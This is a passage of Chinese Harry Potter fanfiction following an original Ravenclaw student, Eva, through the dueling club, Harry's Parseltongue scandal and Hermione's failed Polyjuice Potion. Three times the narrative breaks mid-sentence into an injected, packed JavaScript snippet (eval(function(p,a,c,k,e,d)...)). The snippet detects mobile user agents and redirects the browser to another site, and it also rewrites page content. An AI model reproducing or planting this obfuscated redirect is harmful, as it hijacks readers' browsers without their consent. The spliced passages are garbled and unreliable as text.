“欢迎大家!”洛哈特的声音洪亮得有些夸张,在石壁间激起回音,“鉴于最近发生的一些……令人不安的事件,邓布利多教授允许我开办这个小小的俱乐部,训练大家如何自卫,就像我在无数次惊心动魄的冒险中做的那样!” 他挥动魔杖,在空中划出几个花哨而毫无必要的弧线,带起一串噼啪作响的金色火花,像蹩脚的麻瓜烟花。 “首先,请我的助手斯内普教授上来。”洛哈特脸上挂着那种“看我多慷慨”的笑容,仿佛赐予了对方莫大的荣耀,“他慷慨地同意在我示范时当我的对手。当然,我不会下重手——毕竟我们是要教大家,不是要伤害谁,对吧?” 斯内普教授走上舞台,黑袍在身后翻滚如乌云。他的黑眼睛盯着洛哈特,眼神冷得像深潭底部的冰。 两人面对面站好,互相鞠躬——洛哈特鞠得夸张而做作,腰弯得很低,手臂划出大弧线;斯内普只是微微点了点头,下巴的弧度几乎没有变化。 “数到三,我们就施第一道咒语,”洛哈特转向学生们,脸上还是那副灿烂的笑容,“当然,我不会用太厉害的咒语,毕竟这只是示范——一、二、三!” 两道光芒同时从杖尖射出。 洛哈特的咒语是粉红色的,软弱无力,歪歪斜斜地飞向斯内普,在离他还有几英尺的地方就颤抖着消散了,像被戳破的肥皂泡。 斯内普的咒语是银色的,迅捷如闪电,精准如箭矢。 “除你武器!” 洛哈特的魔杖脱手飞出,在空中划出一道狼狈的弧线,“啪嗒”一声落在舞台边缘。他本人踉跄着后退了好几步,差点绊倒,勉强站稳时,脸上的笑容已经碎了一地,只剩下震惊和尴尬。 礼堂里死一般寂静。连飘浮的蜡烛火苗都仿佛凝固了。 斯内普教授缓缓走向那根掉落的魔杖,弯腰捡起来,用两根手指捏着,递还给它的主人。整个过程,他的表情没有任何变化,连眉毛都没动一下,但那双黑眼睛里的讥诮几乎要溢出来,像黑色的毒液。 “谢……谢谢你,斯内普教授。”洛哈特勉强挤出一个比哭还难看的笑容,接过魔杖时手指有些发抖,“很……很好的示范……展示了缴械咒的威力。现在,让我们分组练习吧!” 他匆匆宣布了分组规则——自愿组队,练习缴械咒,声音失去了平时的洪亮,显得有些气短。 Eva和曼蒂一组,走到礼堂角落的空地。脚下的石板被无数双脚磨得光滑,在烛光下泛着微光。 “我先来?”曼蒂握着魔杖,手有些抖。 “嗯。”Eva点头,举起自己的紫杉木魔杖。杖身在烛光下泛着幽暗的光泽,握在手里温润而熟悉。 “除你武器!”曼蒂念道,手腕一甩。 红光从她杖尖射出,但歪了,从Eva身侧掠过,打在后面的石墙上,溅起几点火星。 “手腕要稳。”Eva轻声说,声音平静,“念咒时别太紧张,想着目标就好。” 曼蒂深吸一口气,又试了几次。第三次时,红光擦过了Eva魔杖的尾端,魔杖微微晃动了一下。 “该你了。”曼蒂抹了抹额头的细汗。 Eva举起魔杖,没有立刻念咒。她先调整呼吸,让体内的“炁”平稳流转——像爷爷教的那样,像一条安静而深沉的溪流,从丹田升起,顺着经脉温和运行。心稳了,手才能稳。 “除你武器。” 她的咒语念得很清晰,不疾不徐。红光从杖尖射出,笔直而稳定,像一道精准的射线,不偏不倚地击中了曼蒂手中的魔杖中部。魔杖“嗖”地飞出去,在空中转了两圈,“啪”地落在三步外的地上。 “哇!”曼蒂瞪大眼睛,跑过去捡起魔杖,“好准!你怎么做到的?” “多练习就好。”Eva说,但其实不全是练习。那种对力量的控制感,那种“炁”与魔力微妙的协调,是暑假里每天打坐、练字、磨墨时一点点磨出来的。像爷爷说的,功夫在诗外。 她们继续练习。周围很快充满了此起彼伏的“除你武器”念咒声、魔杖落地的啪啪声、还有各种失误带来的惊呼和抱怨。西莫·斐尼甘的咒语不知怎么引发了小爆炸,炸黑了他和迪安·托马斯的脸;纳威·隆巴顿的魔杖飞出去时打中了一盏低空飘浮的蜡烛,滚烫的蜡油滴下来,烫到了拉文德·布朗的袍子,引起一阵尖叫。 就在这时,礼堂中央传来一声短促的惊呼,紧接着是倒吸冷气的声音。 Eva转头看去——是哈利和马尔福那一组。 两人面对面站着,距离近得有些过分,几乎能感受到对方的呼吸。马尔福脸上挂着那种恶意的、慢条斯理的笑容,灰蓝色的眼睛紧盯着哈利,像猫盯着老鼠。 “数到三,”马尔福拖长了腔调,声音在突然安静下来的礼堂里显得格外清晰,“一、二——” 他没数到三就出手了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980654|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“乌龙出洞!” 一道粘稠的黑光从马尔福的魔杖尖喷射而出,落在地上,迅速膨胀、拉长,变成一条足有六英尺长的黑蛇。蛇身有男人手腕粗,鳞片在烛光下泛着油腻的光泽。它昂起三角形脑袋,鲜红的信子嘶嘶吞吐,朝哈利的方向缓缓游去。 周围的学生惊恐地后退,尖叫着挤成一团,像受惊的羊群。 哈利站在原地,脸色苍白得像他身后的墙壁,绿眼睛死死盯着那条蛇。他没有后退,但握魔杖的手在微微发抖,指节因为用力而发白。 蛇越来越近,昂起的头部离哈利的膝盖只有几英寸。冰冷的爬行动物气息扑面而来,带着泥土和腥味。 “别动,波特。”马尔福的声音带着得意的、几乎压抑不住的颤音,“我爸爸教过我这一招……在你想吓唬麻瓜出身的人时特别有用。你说,下一个被石化的会不会是哪个泥巴种?也许就是那个万事通小姐?” “够了!” 斯内普教授大步走过来,黑袍翻滚如暴风雨前的乌云。他举起魔杖,正要念咒—— 但有人比他更快。 “消失不见!” 洛哈特教授从旁边冲上前,魔杖一挥,动作夸张得像在指挥交响乐。一道耀眼的红光击中黑蛇—— 咒语没有让蛇消失,反而把它抛向了空中。蛇重重地摔下来,“砰”的一声砸在石板地上,被彻底激怒了。它嘶嘶狂叫,昂起头,颈部扁平成骇人的兜帽状,这次目标转向了旁边一个吓呆了的赫奇帕奇二年级男生——贾斯廷·芬列里。 “不……”贾斯廷喃喃道,腿软得几乎站不住,魔杖从颤抖的手中滑落。 蛇弓起身子,肌肉收缩,那是攻击的前兆。 就在这一瞬间,一个奇怪的声音响起了。 嘶嘶的,滑腻的,带着某种古老韵律的、完全不属于人类语言的声音——从哈利嘴里发出来。 他盯着那条蛇,嘴唇翕动,发出那种诡异而冰冷的嘶嘶声。他的表情专注得吓人,绿眼睛一眨不眨,瞳孔在烛光下微微收缩,整个人像被某种无形的力量攫住了。 奇迹发生了。 蛇停止了攻击的姿态,昂起的头慢慢低下来,疑惑地转向哈利,信子吞吐的速度变慢了。它似乎在……倾听。那冰冷的爬行动物眼睛里,闪过一丝近乎困惑的神色。 整个礼堂死一般寂静。 所有人都盯着哈利,盯着他那张发出蛇类语言的嘴。震惊、恐惧、怀疑、厌恶——各种情绪在每一张脸上炸开,像投入石子的水面,涟漪迅速扩散。几个麻瓜出身的学生脸色惨白,下意识地后退;就连一些纯血家族的学生也瞪大了眼睛,表情复杂。 Eva也看着。她没有害怕,但胸口有点发紧。那种嘶嘶声听着怪别扭的,不像平时说话……黏糊糊的,听着不像人话,像是蛇。 她认识的哈利是那个抓到金色飞贼会咧嘴笑的男孩,是那个在棋盘上明明怕得要死还是往前走的男孩。现在这个会蛇语的哈利有点陌生,好像突然之间,他身上有一部分是她完全不了解的。 斯内普教授走上前,魔杖一挥,动作干净利落。 “消失不见!” 这次咒语起作用了。黑蛇扭曲、收缩,化成一股浓稠的黑烟,嘶嘶作响地消散在空气中,只留下一股淡淡的硫磺味。 寂静被打破。窃窃私语声像潮水一样涌起,越来越响,汇聚成嗡嗡的洪流。 “他……他说的是蛇佬腔……” “只有斯莱特林的后代才会……” “密室……继承人……真的是他?” “可是他在格兰芬多……” “也许分院帽搞错了?或者……他有双重身份?” 哈利站在原地,茫然地看着周围一张张写满恐惧和怀疑的脸。他似乎不明白发生了什么,不明白为什么大家都这样看着他。那双绿眼睛里充满了困惑和受伤,像一只被无故驱赶的小兽。他张了张嘴,想说什么,但发不出声音——正常的人类声音。 罗恩和赫敏挤到他身边,赫敏快速地说着什么,试图解释,罗恩则愤怒地瞪着周围窃窃私语的人。但他们的声音被淹没在嘈杂的议论声里,像两片试图抵抗潮水的树叶。 Eva跟着拉文克劳的队伍往外走。经过哈利身边时,她脚步慢了一点。哈利抬起头,绿眼睛对上她的目光——那双眼睛里有很多东西:困惑、委屈,还有一点点“你不会也怕我吧”的担心。 Eva抿了抿嘴。她没有停下,也没有躲开视线,只是很轻地冲他点了点头。不是“我相信你是继承人”,而是……很普通的点头,像在说“嗨,我看到你了”。 然后她就继续往前走了,跟上队伍的尾巴。但哈利那个眼神,带着那么点希望和害怕混在一起的眼神,在她脑子里停了一会儿。 回拉文克劳塔楼的路上,没人说话。但一进公共休息室,门在身后关上的瞬间,议论就炸开了。 “蛇佬腔!波特是蛇佬腔!”一个五年级男生声音尖利。 “那不就是斯莱特林的继承人?书上说萨拉查·斯莱特林本人就是蛇佬腔!”另一个女生接话,声音发颤。 “可是他在格兰芬多……这说不通啊……” “也许分院帽搞错了?或者……他根本就是伪装?” “安静!”佩内洛·克里瓦特站在壁炉前,提高嗓音,脸因为恼怒而发红,“在教授们调查清楚之前,不要妄下结论!这是拉文克劳,不是谣言工厂!” 但议论没有停止。恐惧和猜疑像霉菌一样在温暖的空气里滋生,粘在每一句低声交谈中,钻进每一个不安的眼神里。几个一年级新生挤在角落,脸色发白,小声问着“继承人真的在我们中间吗”。 Eva没有参与讨论。她走到窗边惯常的位置坐下,但没有拿出作业。窗玻璃上凝结着一层薄薄的水汽,外面的夜色浓重,塔楼的灯火在黑湖水面投下破碎的光影。 她想起哈利发出嘶嘶声时的表情——那种专注,那种陌生。也想起这一年来认识的哈利:骑着扫帚冲向金色飞贼时眼睛发亮的哈利,在棋盘上为了朋友走向黑王后的哈利,在地下房间挡在她面前的哈利。勇敢,有点冲动,有时候会固执,但绝对善良。 标签贴上去容易,撕下来难。爷爷说过这话。现在她看得更清楚了。 哈利·波特,大难不死的男孩,格兰芬多的找球手,现在又被贴上了“斯莱特林继承人”的标签。这块标签会像最粘的胶水一样死死粘在他身上,每一个眼神,每一次窃窃私语,都会把这胶水压得更实。撕下来?那会连皮带肉。 她看向窗外。夜色中的霍格沃茨依然安静而美丽,塔楼的灯火像寒夜里的星星,遥远而冰冷。但城堡内部,水面之下,暗流正以前所未有的速度汹涌、翻腾。 39. 标签与黏土 蛇佬腔事件像一块沉重的石头砸进霍格沃茨本就暗流涌动的池塘,激起的涟漪一圈圈扩散,粘稠又冰冷。 第二天早餐时,礼堂里的气氛明显不对。 Eva走进礼堂时,感觉所有人的目光都在往格兰芬多长桌瞟。哈利坐在那里,低着头,机械地用叉子戳着盘子里的煎蛋。他的周围空出了一小圈——不是故意的排挤,更像是一种下意识的距离。罗恩和赫敏紧挨着他坐着,赫敏在快速地说着什么,表情焦虑,不断摇头;而罗恩的表情……有点奇怪。他没有像往常那样愤怒地瞪视四周,只是眉头紧锁,偶尔看一眼哈利,眼神里混杂着困惑和一丝……不易察觉的迟疑。当哈利抬头和他说什么时,罗恩的回答似乎比平时慢半拍。 拉文克劳长桌这边,议论声压得很低,但持续不断。 “我查了《霍格沃茨:一段校史》,”一个五年级学生翻开厚厚的书,指着某一页,“这里写得清清楚楚:萨拉查·斯莱特林本人就是蛇佬腔,这是他与蛇类沟通的罕见天赋,只在他的直系血脉中传承。” “所以波特真的是继承人?”旁边一个女生小声问,脸色发白。 秋·张在Eva旁边的空位坐下,拿起一片烤面包。她微微倾身,声音很轻但清晰:“蛇佬腔是一种罕见天赋,但历史上并非只有斯莱特林的后代拥有。而且……”她顿了顿,拿起南瓜汁喝了一口,“哈利在格兰芬多。这有点矛盾。” “可昨天大家都听到了,”曼蒂小声插话,手指无意识地卷着一缕头发,“他说的是蛇语,真真切切的。那条蛇听了就停下来了……” Eva小口喝着燕麦粥,没有说话。粥有点凉了,但她不太在意。她想起昨天哈利那个眼神——困惑,受伤,还有一点点茫然。她看向教师席。邓布利多教授正和麦格教授低声交谈,表情严肃。斯内普教授坐在最边上,黑眼睛缓缓扫视礼堂,在哈利身上停留的时间格外长,嘴角向下撇着,那表情说不清是厌恶、警惕,还是别的什么。吉德罗·洛哈特坐在新位置上,脸色有些发青,早餐几乎没动。昨天的失败演示显然打击了他。 第一节课是变形术。麦格教授走进教室时,脸色比平时更严肃,嘴角抿得紧紧的。 “早上好,”她的声音清晰而冷静,但能听出里面压抑的紧绷,“今天继续练习装饰性变形。我希望看到每个人都能把一只甲虫变成带有清晰纹路的纽扣。期末考试将包含此项内容。” 她顿了顿,目光严厉地扫过全班,没有特别停留在任何人身上,但那目光本身就像是在警告:“课堂是学习的地方。我要求百分之百的专注。任何分心、任何与课程无关的交谈,都将影响你们的学院分数和个人成绩。清楚了吗?” “清楚了,教授。”学生们低声回答。 教室里安静下来,只有甲虫在盒子里爬动的窸窣声。 Eva打开面前的小盒子。甲虫黑亮的壳在晨光下反光。她深吸一口气,让体内的“炁”平稳流转。 要变成什么样的纽扣呢? 她想起昨天哈利那个受伤的眼神。想起那些轻易就能贴上去、却撕不下来的标签。 魔杖轻点:“速速变形。” 银光包裹住甲虫。它开始改变——变扁,变圆,长出扣眼,颜色转为深青色。扣面上,逐渐浮现出隐约的云纹,比上次清晰了些,但边缘还是有点模糊。 纽扣落在桌上。 “有进步,张小姐,”麦格教授走过时看了一眼,“但纹路还不够‘活’。想象要让它成为纽扣自然的一部分,而不是画上去的。” “是,教授。”Eva轻声说。她明白教授的意思。标签是生硬贴上去的,但真相,或者一个人本来的样子,应该是自然生长出来的。 下课时,麦格教授站在讲台前,看着学生们收拾东西,最后严肃地补充了一句:“记住,霍格沃茨的校训是‘眠龙勿扰’。有些事,在真相大白之前,保持冷静的判断比盲目的猜测更有智慧。” Eva和曼蒂一起走出教室。在走廊里,她们又遇见了哈利、罗恩和赫敏。 “早。”哈利看见Eva,低声打了个招呼,绿眼睛下有淡淡的阴影,眼神有些躲闪。 “早。”Eva点头。 罗恩站在哈利旁边,表情有点不自然,他飞快地看了Eva一眼,嘟囔了一声“早”,然后就盯着自己的鞋尖。赫敏则看起来又焦虑又有些生气,她快速地对Eva说:“有些人简直不可理喻!就因为一种罕见的天赋就胡乱猜测!” 哈利苦笑了一下,没说话。 “你们……没事吧?”Eva问。 “没事?”罗恩突然抬起头,声音有点冲,但更像是对现状的烦躁,“怎么可能没事!现在连一些格兰芬多的人都……”他瞥了哈利一眼,声音又低了下去,显得有些纠结,“……都在议论。” 赫敏立刻反驳:“罗恩!你也知道那不可能!” “我知道!”罗恩烦躁地抓了抓红头发,“可是……蛇佬腔啊,赫敏!那东西写在书上,大家都知道和斯莱特林有关!我只是说……这很麻烦!” 哈利的表情黯淡下去,他没看罗恩,只是低声说:“走吧,要上课了。” 他们匆匆离开。Eva看着他们的背影,罗恩似乎想对哈利说什么,但最终只是张了张嘴,懊恼地跟了上去。 “罗恩也……”曼蒂小声说,有点难以置信。 “嗯。”Eva应了一声。连最亲近的朋友都会动摇,更何况其他人?标签的力量,比她想象的还要大。 第二节课是魔咒学。弗立维教授的教室里气氛稍微轻松些。 “今天复习‘修复咒’!”弗立维教授站在一摞书上,尖嗓子洪亮,“这是一个极其实用的咒语,让破碎的物体恢复原状!” 他示范了一下:“恢复如初!” 一道柔和的银光闪过,摔碎的茶杯完美复原。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980655|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关键是要有完整的‘原状’想象!”弗立维教授强调,“现在,两人一组,练习修复这些撕碎的羊皮纸!” Eva和曼蒂一组。曼蒂试了几次,终于让羊皮纸基本复原,但痕迹明显。 轮到Eva。她拿起碎片,闭上眼睛。 修复……让破碎的东西恢复完整。就像被谣言和猜疑打碎的信任,需要时间和正确的“引导”,才能慢慢拼回原样。但裂痕,可能永远都会在。 “恢复如初。” 银光涌出,温和而稳定。碎片完美拼合,裂痕消失。弗立维教授高兴地给拉文克劳加了十分。 下午是魔法史。宾斯教授用平板的声音讲述着中世纪猎巫运动。 Eva看向窗外。雨又下起来了。她想起城堡里那些奇怪的水渍。密室里的东西,一定和水有关。 下课回塔楼的路上,经过二楼,那滩水果然还在墙根处,清亮亮的。 “这滩水,”Eva对曼蒂和帕德玛说,“我昨天就看见了,今天还在。位置很奇怪。” “是有点……”帕德玛蹲下来看,“像从墙里渗出来的。” 她们没有多停留,但Eva心里的不安更重了。 那天晚上在公共休息室,写完论文后,Eva拿出爷爷的笔记练习“观气”。她闭上眼睛,让感知延伸。 渐渐地,她捕捉到一丝极其微弱、冰冷而潮湿的“流动”,从城堡深处传来。它缓缓移动,像一条在暗处游走的蛇,留下淡淡的湿痕。 她睁开眼睛。 感觉到了。那个东西,就在城堡里。 窗外的雨下得更大了。 走过壁炉时,她听见两个高年级学生惊恐的低语。 “……听说了吗?贾斯廷·芬列里,那个赫奇帕奇,也被石化了!” “什么?什么时候?” “今天下午!和洛丽丝夫人一样,旁边也有一大滩水!” “梅林啊……下一个会是谁?” Eva脚步没停,但心脏轻轻一沉。 第二个受害者出现了。 她想起那些总是出现在奇怪位置的、清亮的水渍,想起空气中挥之不去的、淡淡的土腥味,还有墙壁深处那低沉的、带着摩擦感的嗡鸣……这些碎片在脑海里翻滚。 晚上在公共休息室,写完论文后,她尝试静坐,让体内的“炁”平稳流转,同时将心神向外延展——不是看,不是听,而是一种更模糊的“感觉”。这是爷爷笔记里提到的一种浅层感知,用于觉察环境中“气”的异常流动。 渐渐地,在一片城堡夜间的、庞杂而沉静的“背景”中,她隐约捕捉到一丝极其微弱、冰冷、潮湿且……充满惰性的“流动感”。它非常隐晦,断断续续,仿佛来自城堡极深的地底,又像隔着厚厚的帷幕。无法定位,更无法辨别形状,只留下一种令人不适的、湿漉漉滑过岩石的印象。这和她白天注意到的那些异常痕迹的感觉,微妙地重合了。 40. 失败的汤剂 贾斯廷·芬列里被石化后的第三天,霍格沃茨下了今年冬天的第一场雪。 雪花从灰蒙蒙的天空飘下来,一开始只是零星几点,到早餐时分已经变成鹅毛大雪,密密匝匝地笼罩着城堡和黑湖。从拉文克劳塔楼的高窗望出去,整个世界都蒙上了一层柔软的白色——但这份柔软没能渗进城堡里。 礼堂里的气氛比前几日更沉重了。 Eva坐在拉文克劳长桌边,小口喝着热南瓜汁。热气在杯口氤氲,带着甜丝丝的香料味。她看见赫奇帕奇长桌明显空了几个位置,贾斯廷的朋友们围坐在一起,没人说话。塞德里克·迪戈里坐在他们中间,眉头紧锁,偶尔低声说一两句什么。 曼蒂凑到Eva耳边,声音压得极低:“佩内洛说,赫奇帕奇要求所有麻瓜出身的学生不能单独行动。” Eva点点头。她看见了——赫奇帕奇的学生们今天都是三三两两结伴进出礼堂,眼神警惕地扫过每一个阴影角落。好像随时会有什么东西从石头缝里钻出来。 教师席上,斯内普教授的黑眼睛缓缓扫视礼堂,目光在哈利身上停顿的时间格外长。哈利低着头,机械地切着盘子里的香肠。 “变形术课要迟到了。”帕德玛轻声提醒。 “走吧。”Eva站起身,把最后一口南瓜汁喝完。杯子有点黏手,大概是家养小精灵没洗干净。 变形术教室里,麦格教授站在讲台前,背挺得笔直。她的表情比平时更严厉。 “早上好。”她的声音清晰,“在开始今天的课程前,我必须再次强调——在当前情况下,纪律和专注是你们最可靠的保护。任何违反校规的行为,都极其不明智。” “现在,”她的语气稍微缓和,“打开你们的《初级变形术指南》,翻到第五十三页。今天我们要继续练习‘甲虫变纽扣’的进阶控制——重点是变形后物体的‘质感’与‘稳定性’。一枚合格的纽扣,不仅要形状正确,摸起来要有纽扣应有的硬度,放在桌上不能轻易滚动或变形。” 她示范了一下。魔杖轻点,桌上的甲虫瞬间变成了一枚光滑的骨质纽扣,颜色温润,在桌面上稳稳立住。 “这需要你们在变形过程中,更精细地控制魔力的‘塑形’与‘固化’阶段。”麦格教授说,“现在,每人一只甲虫,开始练习。目标:一枚放在倾斜桌面上也不会滚落的纽扣。” Eva打开面前的小木盒。甲虫在里面不安地爬动,黑亮的壳在教室明亮的灯光下反着光。她伸出魔杖,小心地把它拨到桌子中央。 要变成什么样的纽扣呢?她想起妈妈旗袍上那种温润的玉石扣。但玉石的感觉太难模拟了。那就……最简单的骨质扣吧,像麦格教授示范的那样,重点是“稳”。 她深吸一口气,让那股从小就在身体里流转的、温和的“炁”慢慢平静下来。暑假里爷爷说,心静了,炁就顺;炁顺了,做什么都稳。 “速速变形。” 魔杖尖涌出柔和的银光,包裹住甲虫。甲虫在光中扭动、变形——变扁,变圆,长出扣眼,颜色转为乳白色。她集中精神,想象着纽扣该有的那种硬硬的、有点分量的感觉,让魔力不只是改变外形,还要让里面变得结结实实。 银光散去。一枚乳白色的纽扣落在桌上,发出轻微的“嗒”声。她小心地将它放在稍微倾斜的桌面上——纽扣稳稳地停住了,没有像旁边曼蒂的那枚一样“咕噜噜”滚下去。 “良好的控制,张小姐。”麦格教授走过时看了一眼,“质感模拟到位,稳定性合格。拉文克劳加五分。” “谢谢教授。”Eva轻声说,心里有点高兴。加分总是好的,尤其是在学院杯被那些袭击事件搞得气氛紧张的时候。 麦格教授点点头,转向下一个学生。教室里渐渐响起此起彼伏的念咒声和甲虫被变形的窸窣声。 教室后方——斯莱特林的学生坐在另一侧。德拉科·马尔福正用手指把桌上那枚银灰色的纽扣推来推去,让它在一小片阳光里打转。加分?他撇了撇嘴,他自己的也不错,只是懒得举手展示罢了。 当麦格教授清晰的声音宣布“拉文克劳加五分,张小姐”时,马尔福推纽扣的动作停了一瞬。他抬起头,灰蓝色的眼睛习惯性地先瞟向讲台——不是看麦格教授,而是顺着她目光的方向,看向了拉文克劳那边。 张正把那枚乳白色的纽扣收进一个小布袋,脸上没什么特别的表情,好像加分是件再平常不过的事。那种自然而然的态度,不知怎的,比任何得意的笑容都更让马尔福觉得刺眼。就好像他费力保持的、对那些泥巴种和穷鬼的优越感,在她那里完全不起作用——她甚至可能根本没在想他。 一股没来由的烦躁顶了上来。他猛地收回视线,手指用力一弹,那枚银灰色纽扣“嗒”地一声撞倒了墨水瓶(幸好盖子拧紧了)。旁边的克拉布吓了一跳,茫然地看他。马尔福没理会,只是绷着脸,把纽扣抓回手心,握得有点紧。都是因为她,害他差点在课上出丑。他给自己找了个理由,虽然这理由听起来也有点别扭。 下课前,麦格教授布置了作业:“继续练习质感控制。下周每人上交三枚不同材质感的纽扣——骨质、木质、金属质各一枚。要求能通过外观和触感明显区分。” “三枚!”曼蒂哀嚎着收拾书包,“还要金属的?我的纽扣现在摸起来像软糖!” “多试几次就好了。”Eva安慰道,把自己的骨质纽扣小心地装进一个小布袋。窗外雪还在下,庭院白茫茫一片。 走出教室时,她们在走廊里遇见了哈利、罗恩和赫敏。三人刚从另一边的楼梯上来,急匆匆的样子。 罗恩看起来特别没精神,眼睛下面有黑眼圈,头发像被炸过。哈利走在他旁边,绿眼睛警惕地看着四周。赫敏抱着几本厚书,嘴唇抿得紧紧的,好像在为什么事生气或者发愁。 看见Eva她们,哈利抬起头。他的目光在Eva脸上停了一下——那双绿眼睛里有很多Eva看不懂的东西,好像很累,又好像希望Eva别问什么。 Eva对他轻轻点了点头。她没想问什么。罗恩那副又害怕又兴奋的样子,还有赫敏抱着那些高级魔药书的样子,让她想起暑假前爸爸接到紧急工作电话时的表情——知道有麻烦事要来了。 哈利好像松了口气,也对她点了点头。罗恩含糊地“唔”了一声,盯着自己的鞋尖。赫敏飞快地看了Eva一眼,匆匆说了句“我们得走了”,就拉着哈利和罗恩快步走开,袍子角在拐角处一闪就不见了。 “他们最近怪怪的。”曼蒂小声说。 “嗯。”Eva应了一声。她想起前几天在图书馆找书时,无意中听到的几句压低声音的争吵——“……必须试试……”“但复方汤剂!那得要一个月!而且我们怎么弄到克拉布和高尔的东西?”——当时她在书架后面找那本难找的《如尼文符号溯源》,他们没看见她。 复方汤剂。要熬一个月。他们想变成克拉布和高尔?这个念头让Eva心里有点发毛。不是怕他们违反校规被抓,而是……复方汤剂要是做错了,听说会变得很可怕。书上说可能变不回来,或者变成半人半动物的怪样子。 “走吧,”帕德玛说,“下节是魔法史,宾斯教授讲起课来可不管我们到没到。” 接下来的几天,城堡里的气氛越来越奇怪。 雪断断续续地下,在地上积了厚厚一层,踩上去“嘎吱嘎吱”响。费尔奇像只被踩了尾巴的猫,整天拖着拖把在走廊里转悠,看见一点点水渍就大喊大叫,怀疑是哪个学生故意泼的。 那些水渍也真的很怪。总是出现在墙根或者拐角,清亮亮的,不像普通积水。而且有股味道——Eva说不上来具体是什么味,有点像老宅后院下雨天后,石板缝里青苔的湿气,但又更沉、更闷,好像是从石头里面渗出来的。 她把这事记在心里,没跟曼蒂她们说。没证据,只是感觉。在拉文克劳,光凭感觉可不行。 十二月的第二个星期四,冷得要命。 晚餐后,Eva照例去图书馆写魔法史论文。平斯夫人在书架间走来走去,目光像探照灯。 Eva在靠窗的老位置坐下,摊开书和羊皮纸。窗外完全黑了,雪还在下,窗玻璃上结着霜,像画了白色的花。羽毛笔“沙沙”响,她写着“1289年第三次国际巫师会议通过了《秘密宪章》……”。 写了一半,手酸了,她抬起头活动手腕。图书馆里人很少了。就在这时,她看见赫敏从两排书架深处快步走出来。赫敏怀里抱着几本厚得吓人的书——《强力药剂》、《高级魔药制备》——她走得很急,头发有点乱,眼睛亮得有点吓人,根本没看见Eva,径直冲出了图书馆。 Eva看着她跑掉的背影。那些书……都是讲很难、很危险的魔药的。复方汤剂需要非洲树蛇皮、草蛉虫、双角兽角粉……还有想变的那个人身上的东西。他们真的在准备了。如果从万圣节后就开始收集材料…… 她甩甩头,把注意力拉回论文上。 写完论文时,图书馆的钟显示快九点了。平斯夫人开始赶人:“闭馆了!收拾东西,明天再来!” Eva把东西收好,跟着最后几个学生走出图书馆。走廊里空荡荡的,火把的光一跳一跳,把影子在墙上拉得老长,歪歪扭扭的。城堡晚上特别安静,只有风声,还有……好像还有一种很低很低的声音? 她停下脚步,竖起耳朵听。 那声音很轻,闷闷的,好像从墙里面,或者地板下面传上来。不是水管的声音——水管声更尖。这个声音更沉,湿漉漉的,像有什么很大、很大的东西在很窄的地方慢慢爬,身体蹭着古老的石头。 声音响了大概十几秒,停了。 Eva等了一会儿,没再听见。是听错了吗?还是城堡太老了,石头晚上会自己响? 她继续往前走,手悄悄伸进袍子口袋,握住了魔杖。木头温温的,让她安心了一点。 为了避开几条总觉得特别冷、特别黑的走廊,她选了一条平时不怎么走的路——沿着三楼东侧,绕过奖杯陈列室,从一副旧帷幔后面的楼梯上楼。 这条路很安静。奖杯陈列室里黑乎乎的,玻璃柜反着微光,里面的金杯银盾像好多只眼睛在暗处看人。 就在她转过一个堆满废弃盔甲的昏暗拐角时,前方不远处,一扇厚重的木门被猛地从里面撞开了! 撞击声在空旷的走廊里格外刺耳。 是桃金娘那间盥洗室的门。 紧接着,三个人影几乎是跌撞着冲了出来——不,是两个人架着、半拖半抱着第三个人冲了出来。 是哈利、罗恩,还有……那是赫敏吗? Eva的呼吸停住了。 被哈利和罗恩架着的那个人,穿着赫敏的袍子,但整个人被一件宽大的斗篷裹得严严实实,连头脸都遮住了,只露出一缕乱糟糟的、颜色不太对的头发——在昏暗的火把光下,那头发看起来毛茸茸的,不像是人的头发,倒像是…… 斗篷的兜帽滑落了一点。 Eva看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980656|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了兜帽下的侧脸——那根本不是赫敏的脸!那是一张覆盖着浓密姜黄色毛发的脸,脸上隐约可见人类的五官轮廓,但耳朵的位置……那是两只尖尖的、毛茸茸的猫耳朵!正不安地抖动着。 “呜……”斗篷下发出痛苦的、呜咽般的呻吟,声音怪异,夹杂着“喵呜”似的喉音。 赫敏——如果那还是赫敏的话——整个身体在剧烈颤抖,她的一只手从斗篷下伸出来,死死抓住罗恩的胳膊。那只手……手指似乎变得短粗,指甲尖尖的,像小小的爪子。 罗恩的脸惨白如纸,眼睛瞪得溜圆,里面全是惊恐。他一边费力地架着赫敏,一边语无伦次地小声说:“没、没事的赫敏,我们马上去医疗翼,庞弗雷夫人肯定有办法……” 